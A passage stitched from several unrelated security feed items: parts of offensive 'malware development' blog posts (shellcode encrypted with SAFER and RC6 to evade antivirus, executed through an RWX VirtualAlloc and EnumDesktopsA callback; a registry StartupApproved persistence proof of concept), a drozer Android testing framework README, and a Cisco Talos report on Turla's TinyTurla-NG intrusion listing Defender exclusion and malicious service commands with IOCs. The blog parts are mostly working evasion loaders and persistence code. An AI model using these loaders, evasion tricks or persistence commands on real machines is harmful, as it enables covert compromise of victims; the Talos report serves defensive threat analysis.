  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Drozer - The Leading Security Assessment Framework For Android

By: Zion3R
1 April 2024 at 11:30


drozer (formerly Mercury) is the leading security testing framework for Android.

drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (WithSecure's advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).

drozer is a good tool for simulating a rogue application. A penetration tester does not have to develop an app with custom code to interface with a specific content provider. Instead, drozer can be used with little to no programming experience required to show the impact of letting certain components be exported on a device.

drozer is open source software, maintained by WithSecure, and can be downloaded from: https://labs.withsecure.com/tools/drozer/


Docker Container

To help with making sure drozer can be run on modern systems, a Docker container was created that has a working build of Drozer. This is currently the recommended method of using Drozer on modern systems.

  • The Docker container and basic setup instructions can be found here.
  • Instructions on building your own Docker container can be found here.

Manual Building and Installation

Prerequisites

  1. Python2.7

Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.

  1. Protobuf 2.6 or greater

  2. Pyopenssl 16.2 or greater

  3. Twisted 10.2 or greater

  4. Java Development Kit 1.7

Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.

  1. Android Debug Bridge

Building Python wheel

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python setup.py bdist_wheel

Installing Python wheel

sudo pip install dist/drozer-2.x.x-py2-none-any.whl

Building for Debian/Ubuntu/Mint

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make deb

Installing .deb (Debian/Ubuntu/Mint)

sudo dpkg -i drozer-2.x.x.deb

Building for Redhat/Fedora/CentOS

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make rpm

Installing .rpm (Redhat/Fedora/CentOS)

sudo rpm -I drozer-2.x.x-1.noarch.rpm

Building for Windows

NOTE: Windows Defender and other Antivirus software will flag drozer as malware (an exploitation tool without exploit code wouldn't be much fun!). In order to run drozer you would have to add an exception to Windows Defender and any antivirus software. Alternatively, we recommend running drozer in a Windows/Linux VM.

git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python.exe setup.py bdist_msi

Installing .msi (Windows)

Run dist/drozer-2.x.x.win-x.msi 

Usage

Installing the Agent

Drozer can be installed using Android Debug Bridge (adb).

Download the latest Drozer Agent here.

$ adb install drozer-agent-2.x.x.apk

Starting a Session

You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you're ready to start exploring.

We will use the server embedded in the drozer Agent to do this.

If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:

$ adb forward tcp:31415 tcp:31415

Now, launch the Agent, select the "Embedded Server" option and tap "Enable" to start the server. You should see a notification that the server has started.

Then, on your PC, connect using the drozer Console:

On Linux:

$ drozer console connect

On Windows:

> drozer.bat console connect

If using a real device, the IP address of the device on the network must be specified:

On Linux:

$ drozer console connect --server 192.168.0.10

On Windows:

> drozer.bat console connect --server 192.168.0.10

You should be presented with a drozer command prompt:

selecting f75640f67144d9a3 (unknown sdk 4.1.1)  
dz>

The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.

You are now ready to start exploring the device.

Command Reference

Command Description
run Executes a drozer module
list Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.
shell Start an interactive Linux shell on the device, in the context of the Agent process.
cd Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.
clean Remove temporary files stored by drozer on the Android device.
contributors Displays a list of people who have contributed to the drozer framework and modules in use on your system.
echo Print text to the console.
exit Terminate the drozer session.
help Display help about a particular command or module.
load Load a file containing drozer commands, and execute them in sequence.
module Find and install additional drozer modules from the Internet.
permissions Display a list of the permissions granted to the drozer Agent.
set Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.
unset Remove a named variable that drozer passes to any Linux shells that it spawns.

License

drozer is released under a 3-clause BSD License. See LICENSE for full details.

Contacting the Project

drozer is Open Source software, made great by contributions from the community.

Bug reports, feature requests, comments and questions can be submitted here.



New details on TinyTurla’s post-compromise activity reveal full kill chain

21 March 2024 at 13:08
New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Talos is providing an update on its two recent reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their TinyTurla-NG (TTNG) implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. 

  • Talos’ analysis, in coordination with CERT.NGO, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO). 

  • The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions. 

  • Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.

Tracing Turla’s steps from compromise to exfiltration

Talos discovered that post-compromise activity carried out by Turla in this intrusion isn’t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.

Preliminary post-compromise activity and TinyTurla-NG deployment

After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.

ACTION

INTENT

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths | 

“C:\Windows\System32\” = 0x0

[T1562.001] Impair Defenses: Disable or Modify Tools


Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system. 

ACTION

INTENT

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v sysman /t REG_MULTI_SZ /d "sdm" /f


reg add "HKLM\SYSTEM\CurrentControlSet\services\sdm\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\dcmd.dll" /f

[T1543.003] Create or Modify System Process: Windows Service

sc create sdm binPath= "c:\windows\system32\svchost.exe -k sysman" type= share start= auto

sc config sdm DisplayName= "System Device Manager"

sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."


[T1543.003] Create or Modify System Process: Windows Service

This technique is identical to that used by Turla in 2021 to achieve persistence for their TinyTurla implants. However, we’re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.

In the case of TTNG, the service is created with the name “sdm” masquerading as a “System Device Manager” service. 

New details on TinyTurla’s post-compromise activity reveal full kill chain
New details on TinyTurla’s post-compromise activity reveal full kill chain

Batch file contents.

The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost[.]exe (Windows’ service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.

Custom Chisel usage

On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box [T1573.002 - Encrypted Channel: Asymmetric Cryptography]. We’ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network. 

The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. WinRM is Microsoft’s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.

The overall infection chain is visualized below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Turla tactics, tools and procedures flow.

Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.



New details on TinyTurla’s post-compromise activity reveal full kill chain

Cyber kill chain.

Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.

New details on TinyTurla’s post-compromise activity reveal full kill chain

While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration using Chisel much later on Jan. 12, 2024 [T1041 - Exfiltration Over C2 Channel].

New details on TinyTurla’s post-compromise activity reveal full kill chain

Coverage

Ways our customers can detect and block this threat are listed below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.


IOCS

Hashes

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b

d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40

ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc

13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346

b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044 

Domains

hanagram[.]jpthefinetreats[.]com

caduff-sa[.]chjeepcarlease[.]com

buy-new-car[.]com

carleasingguru[.]com

IP Addresses

91[.]193[.]18[.]120

Malware development: persistence - part 24. StartupApproved. Simple C example.

12 March 2024 at 00:00

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.

StartupApproved

The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.

An uncommon Registry entry utilized by the standard “startup” process (i.e., the one mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup folder, etc.) after userinit.exe completes its operation, is located at the following location in the Registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

Turns out, this key is populated when entries are enabled or disabled via the Windows Task Manager’s Startup tab:

pers

The good news is that we can use this registry path for persistence.

practical example

First of all, check Registry keys by the following command:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

At the next step, as usually, create our “evil” application (hack.c):

/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As usually, just meow-meow messagebox.

Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved registry key, like this (pers.c):

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00... binary value.

demo

Let’s go to see everything in action. First of all, compile our “malware” DLL:

x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

pers

Then, compile our PoC:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:

.\pers.exe

pers

As you can see, I also checked registry again:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

Then, logout and login again:

pers

pers

But unexpectedly it didn’t work for me…

Then, I just update the name of entry:

pers

Logout and login, little bit wait…. and it’s worked perfectly….

pers

pers

So I updated one line in my script:

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "C:\\temp\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 25: encrypt/decrypt payload via RC6. Simple C/C++ example.

21 February 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of my previous posts about cryptography in malware, I considered RC5 encryption, one of the readers asked what would happen if I used RC6 encryption for my payload.

This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC6. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

RC6

RC6 is a symmetric key algorithm for block encryption designed by Ron Rivest in 1998, four years after the proposal of its predecessor, the RC5 encryption algorithm.

How it works?

RC6 uses a key expansion algorithm to generate round keys from the user-provided key. The key size can vary from 128 bits to 256 bits, making it highly secure.

The encryption process involves iterating through a number of rounds, with each round performing a set of operations on the plaintext. In RC6, each round consists of four main steps: mixing, adding round key, rotation, and modular addition. The output of one round becomes the input for the next round.

The decryption process is the reverse of the encryption process. The ciphertext is divided into blocks of 16 bytes each and decrypted using the round keys in reverse order.

practical example

Let’s implement it. First of all, initializing P and Q. RC6 uses two word-sized constants, P and Q:

#define P32 0xB7E15163
#define Q32 0x9E3779B9

P32 is an arbitrary value derived from the mathematical constant phi (φ), specifically φ = (sqrt(5) - 1) / 2. It is then multiplied by 2^32.
Q32 is another arbitrary value derived from the golden ratio constant (ψ), specifically ψ = (sqrt(5) + 1) / 2. It is then multiplied by 2^32.

ROTL (Rotate Left) and ROTR (Rotate Right) are bitwise rotation operations. ROTL rotates the bits of a binary number to the left by a specified number of positions.

ROTR rotates the bits of a binary number to the right by a specified number of positions.

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

In the RC6 algorithm, ROTL and ROTR are used to perform circular shifts of the binary representations of the input data, keys, and intermediate values during encryption and decryption.

Then, the rc6_setup function performs the key expansion. It takes the user-provided key and generates round keys, which are stored in the S` array:

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
  return;
}

The next one is the rc6_encrypt function. It takes the plaintext and the round keys generated during key expansion and applies the encryption algorithm to produce the ciphertext.Since we have the expanded key in the array S, we can perform the encryption algorithm as specified below. The registers are A,B,C, and D which hold both the input (plaintext) and output (ciphertext). Moreover, the first byte of the plaintext (or ciphertext) is placed in the least-significant byte of A while the last byte of the plaintext is placed in the most-significant byte of D:

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

At the end of ROUNDS rounds, registers A,B,C and D hold the ciphertext.

The decryption process implemented in the rc6_decrypt function. It takes the ciphertext and the round keys generated during key expansion and applies the decryption algorithm to produce the plaintext:

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

For simplicity I just implemented 20-round encryption.

Finally, the full source code for encryption/decryption payload is:

/*
 * hack.c
 * RC6 implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/02/21/malware-cryptography-25.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>

#define WORD uint32_t
#define W_BITS 32
#define ROUNDS 20
#define KEYLEN 16

#define P32 0xB7E15163
#define Q32 0x9E3779B9

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));

  return;
}

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
